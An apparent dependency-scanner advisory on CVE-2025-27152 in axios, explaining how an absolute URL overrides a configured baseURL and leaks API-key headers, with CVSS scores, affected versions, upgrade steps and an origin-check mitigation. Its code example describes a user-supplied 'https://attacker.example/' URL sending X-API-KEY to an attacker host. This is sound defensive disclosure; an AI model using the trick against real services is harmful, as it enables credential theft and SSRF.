Outdated HTTP Library Can Leak API Keys to Unintended Servers

Vulnerability Explanation

When an axios instance is configured with a `baseURL` and associated request headers (e.g., `X-API-KEY`, `Authorization`), passing an absolute URL (e.g., `http://attacker.example/`) to a request method such as `.get()` causes axios to completely ignore the `baseURL` and send the request — including all configured headers — directly to the attacker-supplied URL. This is because axios prioritizes absolute URLs over the configured `baseURL` without validating that the resulting destination matches the expected origin. An attacker who can influence any URL parameter passed to an axios instance (via user input, an open redirect, a misconfigured integration, or a dependency injection) can exploit this to exfiltrate credentials or probe internal network services (SSRF).

Root Cause

Axios's URL-building logic unconditionally uses an absolute URL when one is provided, bypassing the `baseURL` entirely. There is no origin-validation check to ensure the final request URL begins with the configured `baseURL`. The fix in v1.8.2 introduces a new `allowAbsoluteUrls` config option (defaulting to `false` in strict mode) and adds origin-matching validation to the URL composition logic.

Technical Impact

An attacker who can control a URL parameter passed to an axios instance can: (1) exfiltrate API keys, tokens, or other credentials configured in the axios instance headers to an attacker-controlled server; (2) perform Server-Side Request Forgery (SSRF) to probe or interact with internal network services not exposed to the public internet. Both server-side (Node.js) and client-side (browser) deployments are affected.

Severity Justification

CVSSv3.1 score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) and CVSSv4 score of 7.7. Network-exploitable with no authentication required. Exploitation is straightforward when an attacker controls any URL value passed to an axios instance. Real-world exploitability depends on whether attacker-controlled input reaches axios request calls.

Affected Components

• axios >= 0.0.0 < 0.30.0
• axios >= 1.0.0 < 1.8.2

Remediation Steps

1. Upgrade axios to the patched version. For projects on the 1.x line: `npm install axios@^1.8.2`. For projects still on the legacy 0.x line: `npm install axios@^0.30.0`.
2. If you cannot upgrade immediately, audit all axios instance usages in your codebase. Identify every location where a variable (especially one derived from user input, query parameters, or external data) is passed as the URL argument to axios methods (`.get()`, `.post()`, `.request()`, etc.).
3. For any high-risk call sites identified above, add an explicit URL allowlist or origin validation before passing the URL to axios. Reject or sanitize any URL that does not begin with your expected base origin.
4. After upgrading, run your full test suite and redeploy. Verify the installed version with `npm list axios`.

Verification Steps

1. Run `npm list axios` (or `yarn list axios`) in your project root and confirm the installed version is >= 1.8.2 (1.x line) or >= 0.30.0 (0.x line).
2. Run `npm audit` and confirm CVE-2025-27152 no longer appears in the output.
3. In a development environment, attempt to reproduce the vulnerability: create an axios instance with a `baseURL` and a custom header, then call `.get('https://httpbin.org/headers')` — on the patched version, the request should either be blocked or sent to the baseURL origin, not to httpbin.org.

Code Examples (javascript)

// axios 0.21.4 — baseURL is ignored when an absolute URL is passed
const apiClient = axios.create({
  baseURL: 'https://internal-api.example.com/v1/',
  headers: { 'X-API-KEY': process.env.API_KEY },
});

// If userId comes from user input and is 'https://attacker.example/',
// the request (including X-API-KEY) is sent to attacker.example
await apiClient.get(userId);

// Option 1: Upgrade to axios >= 1.8.2 (recommended)
// npm install axios@^1.8.2
// The patched version validates that absolute URLs match the configured baseURL origin.

// Option 2: Add explicit origin validation at the call site (interim mitigation)
const ALLOWED_ORIGIN = 'https://internal-api.example.com';

function isSafeUrl(url) {
  // Allow relative paths and URLs matching the expected origin
  if (!url.startsWith('http://') && !url.startsWith('https://')) return true;
  return url.startsWith(ALLOWED_ORIGIN);
}

if (!isSafeUrl(userId)) throw new Error('Unsafe URL rejected');
await apiClient.get(userId);

Best Practices

• Never pass user-supplied or externally-sourced data directly as a URL to an axios instance that carries sensitive credentials — always validate the origin first.
• Use separate axios instances for different trust levels: one instance with credentials for internal APIs, and a separate unauthenticated instance for any calls to external or user-supplied URLs.
• Pin or range-lock critical dependencies in `package.json` and run `npm audit` in your CI pipeline to catch newly disclosed CVEs before they reach production.
• Implement egress filtering at the network level (firewall rules or a forward proxy) to restrict which external hosts your server-side application is permitted to contact.

References

• github.com/advisories/ghsa-jr5f-v2jv-69x6
• nvd.nist.gov/vuln/detail/CVE-2025-27152
• github.com/axios/axios/releases/tag/v1.8.2